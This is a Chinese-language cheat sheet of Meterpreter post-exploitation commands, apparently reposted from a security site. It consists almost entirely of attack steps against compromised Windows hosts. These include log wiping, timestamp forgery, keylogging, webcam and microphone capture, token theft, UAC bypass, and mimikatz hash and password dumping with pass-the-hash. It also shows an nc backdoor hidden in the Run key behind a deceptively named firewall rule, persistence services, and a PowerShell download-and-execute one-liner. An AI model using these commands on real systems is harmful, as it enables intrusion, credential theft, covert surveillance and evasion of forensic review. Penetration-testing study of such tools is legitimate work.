meterpreter学习笔记

℡╲_俬逩灬. 提交于 2019-11-30 12:57:48

0x01 系统命令

基本系统命令

 1 background   # 将当前会话放置后台
 2 sessions   # sessions –h 查看帮助
 3 sessions -i <ID值>  #进入会话   -k  杀死会话
 4 bgrun / run   # 执行已有的模块,输入run后按两下tab,列出已有的脚本
 5 info   # 查看已有模块信息
 6 getuid   # 查看当前用户身份
 7 getprivs  # 查看当前用户具备的权限
 8 getpid   # 获取当前进程ID(PID)
 9 sysinfo   # 查看目标机系统信息
10 irb   # 开启ruby终端
11 ps   # 查看正在运行的进程    
12 kill <PID值> # 杀死指定PID进程
13 idletime     # 查看目标机闲置时间
14 reboot / shutdown    # 重启/关机
15 shell    # 进入目标机cmd shell

常用cmd命令

 1 whoami  # 当前权限
 2 quser  # 查询当前在线的管理员
 3 net user  # 查看存在用户
 4 net user 用户名 密码 /add  # 添加用户和对应密码
 5 net localgroup 用户组名 用户名 /add  # 将指定用户添加到指定用户组
 6 netstat -ano  # 查询当前计算机中网络连接通信情况,LISTENING表示该端口处于监听状态;ESTABLISHED表示该端口处于工作(通信)状态
 7 systeminfo  # 查看当前计算机中的详细情况
 8 tasklist /svc  # 查看每个进程所对应的服务
 9 taskkill /f /im 程序名称  # 结束某个指定名称的程序
10 taskkill /f /PID ID  # 结束某个指定PID的进程
11 tasklist | findstr "字符串" # 查找输出结果中指定的内容
12 logoff  # 注销某个指定用户的ID
13 shutdown -r  # 重启当前计算机
14 netsh adcfirewall set allprofiles state off  # 关闭防火墙

uictl开关键盘/鼠标

1 uictl [enable/disable] [keyboard/mouse/all]  # 开启或禁止键盘/鼠标
2 uictl disable mouse  # 禁用鼠标
3 uictl disable keyboard  # 禁用键盘

execute执行文件

1 execute #在目标机中执行文件
2 execute -H -i -f  cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
3 execute -H -m -d notepad.exe -f payload.exe -a "-o hack.txt"
4 # -d 在目标主机执行时显示的进程名称(用以伪装)-m 直接从内存中执行
5 "-o hack.txt"是payload.exe的运行参数

migrate进程迁移

1 getpid    # 获取当前进程的pid
2 ps   # 查看当前活跃进程
3 migrate <pid值>    # 将Meterpreter会话移植到指定pid值进程中
4 kill <pid值>   # 杀死进程

clearav清楚日志

1 clearav  # 清除windows中的应用程序日志、系统日志、安全日志

0x02 文件系统命令

基本文件系统命令

 1 ls  # 列出当前目录中的文件列表
 2 cd  # 进入指定目录
 3 getwd / pwd  # 查看当前工作目录  
 4 search -d c:\\ -f *.txt  # 搜索文件  -d 目录 -f 文件名
 5 cat c:\\123.txt  # 查看文件内容
 6 upload /tmp/hack.txt C:\\  # 上传文件到目标机上
 7 download c:\\123.txt /tmp/  # 下载文件到本机上
 8 edit c:\\test.txt  # 编辑或创建文件  没有的话,会新建文件
 9 rm C:\\hack.txt  # 删除文件
10 mkdir admin  # 只能在当前目录下创建文件夹
11 rmdir admin  # 只能删除当前目录下文件夹
12 getlwd / lpwd  # 查看本地当前目录
13 lcd /tmp  # 切换本地目录

timestomp伪造时间戳

1 timestomp C:\\ -h   #查看帮助
2 timestomp -v C:\\2.txt   #查看时间戳
3 timestomp C:\\2.txt -f C:\\1.txt #将1.txt的时间戳复制给2.txt
4 timestomp  c:\\test\\22.txt -z "03/10/2019 11:55:55" -v # 把四个属性设置为统一时间

0x03 网络命令

基本网络命令

1 ipconfig/ifconfig  # 查看网络接口信息
2 netstat –ano  # 查看网络连接状态
3 arp  # 查看arp缓冲表
4 getproxy   # 查看代理信息
5 route   # 查看路由表信息

portfwd 端口转发

1 portfwd add -l 1111 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地1111端口
2 rdesktop 127.0.0.1:1111 # 需要输入用户名密码连接
3 rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用户名 -p 密码

autoroute 添加路由

1 run autoroute -h # 查看帮助
2 run get_local_subnets # 查看目标内网网段地址
3 run autoroute -s 192.168.183.0/24  # 添加目标网段路由
4 run autoroute -p  # 查看添加的路由

利用arp_scanner、portscan等进行扫描

1 run post/windows/gather/arp_scanner RHOSTS=192.168.183.0/24
2 run auxiliary/scanner/portscan/tcp RHOSTS=192.168.183.146 PORTS=3389

 

0x04 信息收集

常用脚本

 1 run arp_scanner -r 192.168.183.1/24  # 利用arp进行存活主机扫描
 2 run winenum  # 自动化执行一些检测脚本
 3 run credcollect # 获取用户hash
 4 run domain_list_gen  # 获取域管理账户列表
 5 run post/multi/gather/env  # 获取用户环境变量
 6 run post/windows/gather/enum_logged_on_users -c  # 列出当前登录用户
 7 run post/linux/gather/checkvm  # 是否虚拟机
 8 run post/windows/gather/checkvm  # 是否虚拟机
 9 run post/windows/gather/forensics/enum_drives  # 查看存储器信息
10 run post/windows/gather/enum_applications  # 获取安装软件信息
11 run post/windows/gather/dumplinks   # 获取最近访问过的文档、链接信息
12 run post/windows/gather/enum_ie  # 获取IE缓存
13 run post/windows/gather/enum_firefox  # 获取firefox缓存
14 run post/windows/gather/enum_chrome   # 获取Chrome缓存
15 run post/multi/recon/local_exploit_suggester  # 获取本地提权漏洞
16 run post/windows/gather/enum_patches  # 获取补丁信息
17 run post/windows/gather/enum_domain  # 查找域控
18 run post/windows/gather/enum_snmp  # 获取snmp团体名称
19 run post/windows/gather/credentials/vnc  # 获取vnc密码
20 run post/windows/wlan/wlan_profile  # 用于读取目标主机WiFi密码
21 run post/multi/gather/wlan_geolocate # 基于wlan进行地理位置确认 文件位于/root/.msf4/loot
22 run post/windows/manage/killav 关闭杀毒软件

常用的破解模块

 1 auxiliary/scanner/mssql/mssql_login
 2 auxiliary/scanner/ftp/ftp_login
 3 auxiliary/scanner/ssh/ssh_login
 4 auxiliary/scanner/telnet/telnet_login
 5 auxiliary/scanner/smb/smb_login
 6 auxiliary/scanner/mssql/mssql_login
 7 auxiliary/scanner/mysql/mysql_login
 8 auxiliary/scanner/oracle/oracle_login
 9 auxiliary/scanner/postgres/postgres_login
10 auxiliary/scanner/vnc/vnc_login
11 auxiliary/scanner/pcanywhere/pcanywhere_login
12 auxiliary/scanner/snmp/snmp_login
13 auxiliary/scanner/ftp/anonymous

键盘记录

1 keyscan_start  # 开始键盘记录
2 keyscan_dump   # 导出记录数据
3 keyscan_stop   # 结束键盘记录

sniffer 抓包

1 use sniffer
2 sniffer_interfaces   # 查看网卡
3 sniffer_start 1   # 选择网卡1开始抓包
4 sniffer_stats 1   # 查看网卡1状态
5 sniffer_dump 1 /tmp/wlan1.pcap  # 导出pcap数据包
6 sniffer_stop 1   # 停止网卡1抓包
7 sniffer_release 1 # 释放网卡1流量

窃取令牌

1 steal_token <pid值>   # 从指定进程中窃取token
2 drop_token  # 停止假冒当前的token

网络摄像头

1 record_mic  # 音频录制
2 webcam_chat  # 开启视频聊天(对方有弹窗)
3 webcam_list  # 查看摄像头
4 webcam_snap  # 通过摄像头拍照
5 webcam_stream  # 通过摄像头开启视频监控(以网页形式进行监控≈直播)

截屏

1 screenshot  # 截屏
2 use espia  # 使用espia模块
3 screengrab  # 截屏

0x05 提权

getsystem 提权

利用getsystem命令提权,该命令会自动寻找各种可能的提权技术来使得用户将权限提升到更高的级别。提权方式采用命令管道模拟提升的方法和令牌复制的方法。

1 getsystem

本地漏洞提权

本地漏洞提权即是通过运行一些造成溢出漏洞的exploit,把用户从普通权限提升为管理员权限。
1.利用getuid查看已获得权限,尝试利用getsystem提权,失败。

2.利用enum_patches模块搜集补丁信息,然后寻找可利用的exploits进行提权。

1 run post/windows/gather/enum_patches  #查看补丁信息
2 background
3 search MS10-015
4 use exploit/windows/local/ms10_015_kitrap0d
5 set session 8
6 run

绕过UAC提权

使用bypassuac提权

msf内置一些bypassuac脚本,原理不同,使用方法类似,执行后返回一个新的会话,再次执行getsystem即可提权

1 exploit/windows/local/bypassuac
2 exploit/windows/local/bypassuac_eventvwr
3 exploit/windows/local/bypassuac_injection
4 exploit/windows/local/bypassuac_injection_winsxs
5 exploit/windows/local/bypassuac_silentcleanup
6 exploit/windows/local/bypassuac_vbs

使用命令getsystem提权失败,然后利用bypassuac来提权,这里利用exploit/windows/local/bypassuac模块(32位、64位都有效)

1 use exploit/windows/local/bypassuac
2 set session 1
3 run

使用RunAs提权

该方法利用exploit/windows/local/ask模块(32位、64位都有效),创建一个可执行文件并在目标机上发起一个提升权限请求的程序,触发系统UAC,提示用户是否要继续,如果用户选择“是”,则会返回一个高权限的meterpreter shell。

1 use exploit/windows/local/ask
2 set filename update.exe  # 设置反弹程序名称
3 set session 1
4 run

输入run命令以后会在目标机上弹出UAC,提示用户是否允许,选择是就会返回一个高权限的meterpreter shell。

注:使用RunAs模块进行提权时,系统当前用户须在管理员组或者知道管理员的密码,用户账户控制程序UAC设置则没有要求。使用RunAs模块进行提权时,会创建一个可执行文件,为了避免给杀毒软件查杀,该可执行文件(需进行免杀处理)的创建要使用EXE::Custom选项。

假冒令牌提权

令牌是系统临时密钥,它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统重新启动。一般有两种类型的令牌,一种是Delegation Tokens,也就是授权令牌,它支持交互式登录(例如远程桌面登陆登录)。还有一种是Impersonation Tokens,也就是模拟令牌,它是非交互的会话(例如访问文件共享)。

1 use incognito    # 加载窃取令牌模块
2 list_tokens -u    # 查看可用的用户令牌
3 list_tokens -g    # 查看可用的用户组令牌
4 impersonate_token 'NT AUTHORITY\SYSTEM'  # 假冒SYSTEM token
5 rev2self   #返回原始token

利用AlwaysInstallElevated提权

AlwaysInstallElevated是一个策略设置。微软允许非授权用户以SYSTEM权限运行安装文件(MSI),如果用户启用此策略设置,那么黑客利用恶意的MSI文件就可以进行管理员权限的提升。

查看AlwaysInstallElevated是否被定义

不过利用此方法有个前提条件,需要有两个注册表的键值为1,我们可以在cmdshell下查看AlwaysInstallElevated是否被定义

1 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
2 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如上图所示已经开启AlwaysInstallElevated,如果在组策略里未定义AlwaysInstallElevated,则会出现“错误: 系统找不到指定的注册表项或值”的提示,如下图所示:

如果需要开启可以选择以下方法:
1.打开组策略编辑器(运行框输入gpedit.msc)
2.组策略->计算机配置->管理模版->Windows组件->Windows Installer->永远以高特权进行安装:选择启用
3.组策略->用户配置->管理模版->Windows组件->Windows Installer->永远以高特权进行安装:选择启用

设置完成后对应注册表的位置值会设为1,开启AlwaysInstallElevated。

生成MSI安装文件

利用msfvenom命令生成一个在目标机上增加管理员用户的MSI安装文件,这里密码要设置为强密码,否则会报错。

1 msfvenom -p windows/adduser USER=msi PASS=Abc123@@ -f msi -o msi.msi

上传并执行MSI文件

1 upload msi.msi c:\\Users\\test # 部分目录由于权限原因可能上传失败
2 msiexec /quiet /qn /i msi.msi # /quiet=安装过程中禁止向用户发送消息 /qn=不使用图形界面 /i=安装程序
3 net localgroup administrators4 upload msi.msi c:\\  # 上传文件

0x06 窃取hash及密码&哈希传递

窃取hash及密码

hashdump

1 hashdump
2 run post/windows/gather/smart_hashdump

mimikatz

1 load mimikatz # 加载mimikatz模块
2 msv  # 获取用户和hash值 
3 kerberos  # 获取内存中的明文密码信息
4 wdigest  # 获取内存中的明文密码信息
5 mimikatz_command -f a:: # 需要以错误的模块来让正确的模块显示
6 mimikatz_command -f sekurlsa::searchPasswords # 获取用户密码
7 mimikatz_command -f samdump::hashes  # 执行用户hash

kiwi

kiwi是利用的mimikatz扩展,运行需要SYSTEM权限

1 load kiwi
2  creds_all

哈希传递

利用hashdump得到用户的hash后可利用psexec模块进行哈希传递攻击。
使用psexec的前提:SMB服务必须开启,也就是开启445端口;Admin$可以访问。

1 use exploit/windows/smb/psexec
2 set payload windows/meterpreter/reverse_tcp
3 set LHOST 192.168.1.1
4 set LPORT 443
5 set RHOST 192.168.183.154
6 set SMBUSER Administrator
7 set SMBPASS ccf**4ee:3db**678
8 set SMBDOMAIN  WORKGROUP   # 域用户需要设置SMBDOMAIN
9 run

0x07 RDP

开启3389

getui 命令

这里需要注意的是通过getgui命令,虽然可以成功添加用户,但是没有权限远程登录桌面,这里推荐使用enable_rdp脚本添加。

1 run getgui –h  # 查看帮助
2 run getgui -e  # 开启远程桌面
3 run getgui -u admin -p admin  # 添加用户
4 run getgui -f 6666 -e  # 3389端口转发到6666

enable_rdp脚本

通过enable_rdp脚本将用户添加到远程桌面用户组和管理员用户组

1 run post/windows/manage/enable_rdp  #开启远程桌面
2 run post/windows/manage/enable_rdp USERNAME=admin PASSWORD=admin # 添加用户
3 run post/windows/manage/enable_rdp FORWARD=true LPORT=6667  # 将3389端口转发到6667

远程桌面

 

1 enumdesktops  # 查看可用的桌面
2 getdesktop    # 获取当前meterpreter 关联的桌面
3 setdesktop    # 设置meterpreter关联的桌面  -h查看帮助
4 run vnc   # 使用vnc远程桌面连接
5 rdesktop 127.0.0.1:1111 # 需要输入用户名密码连接
6 rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用户名 -p 密码

 

0x08 注册表操作

注册表基本命令

 

1 reg –h  # 查看帮助
2 -k 注册表的路径 -v 键的名称 -d 键值
3 reg enumkey [-k <key>]  # 枚举注册表的内容
4 reg createkey [-k <key>]  # 创建注册表项
5 reg deletekey [-k <key>]  # 删除注册表项
6 reg setval [-k <key> -v <val> -d <data>]  # 在注册表里添加内容
7 reg deleteval [-k <key> -v <val>]  # 删除注册表的值
8 reg queryval [-k <key> -v <val>]  # 查询注册表的值

 

利用注册表添加nc后门

1.编辑注册表,添加nc到系统启动项中,形成后门程序。

1 upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 # 上传nc到目标主机
2 reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run   # 枚举注册表run下的键值
3 reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v test_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' # 设置键值 -v 键的名称 -d 键值
4 reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v test_nc   # 查看test_nc的键值

2.设置防火墙允许通过443端口(如果目标主机开启防火墙,没有设置相应的规则可能会导致连接失败。)

1 shell
2 netsh firewall show opmode # 查看防火墙状态
3 netsh firewall add portopening TCP 443 "网络发现(Pub PSD-Out)" ENABLE ALL # 添加防火墙的规则允许443端口通过(这里“网络发现(Pub PSD-Out)”是规则名称,目的是为了迷惑管理员。)

3.待目标主机重启后,自启nc程序,然后我们利用nc连接即可。

1 nc 127.0.0.1 443

0x09 后门植入

我们需要通过植入后门来维持权限,前面说的nc后门就是其中一种,另外一般还有Persistence和Metsvc。

Persistence(通过启动项安装)

1 run persistence –h  # 查看帮助
2 run persistence -X -i 5 -p 4444 -r 192.168.1.1
3 run persistence -U -i 5 -p 4444 -r 192.168.1.1 -L c:\\Windows\\System32
4 -X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限原因会导致添加失败,后门无法启动。因此在非管理员权限下,不推荐使用该参数
5 -U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
6 -L:后门传到远程主机的位置默认为%TEMP%
7 -i:设置反向连接间隔时间为5秒
8 -p:设置反向连接的端口号
9 -r:设置反向连接的ip地址

Metsvc(通过服务安装)

 1 run metsvc -h   # 查看帮助
 2 run metsvc -A   # 自动安装后门
 3 run metsvc -r   # 删除后门
 4 
 5 连接后门
 6 use exploit/multi/handler 
 7 set payload windows/metsvc_bind_tcp
 8 set rhost 192.168.1.1
 9 set lport 31337
10 run

Powershell后门

 1 use exploit/multi/script/web_delivery
 2 set payload windows/meterpreter/reverse_tcp
 3 set LHOST 192.168.1.1
 4 set LPORT 2334
 5 set srvport 2333
 6 set uripath /
 7 set target 5
 8 run
 9 在目标设备cmd上执行以下命令即可反弹
10 powershell.exe -nop -w hidden -c $z="echo ($env:temp+'\eJedcsJE.exe')"; (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1:2333/', $z); invoke-item $z

####

引用原文地址:https://xz.aliyun.com/t/6400

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!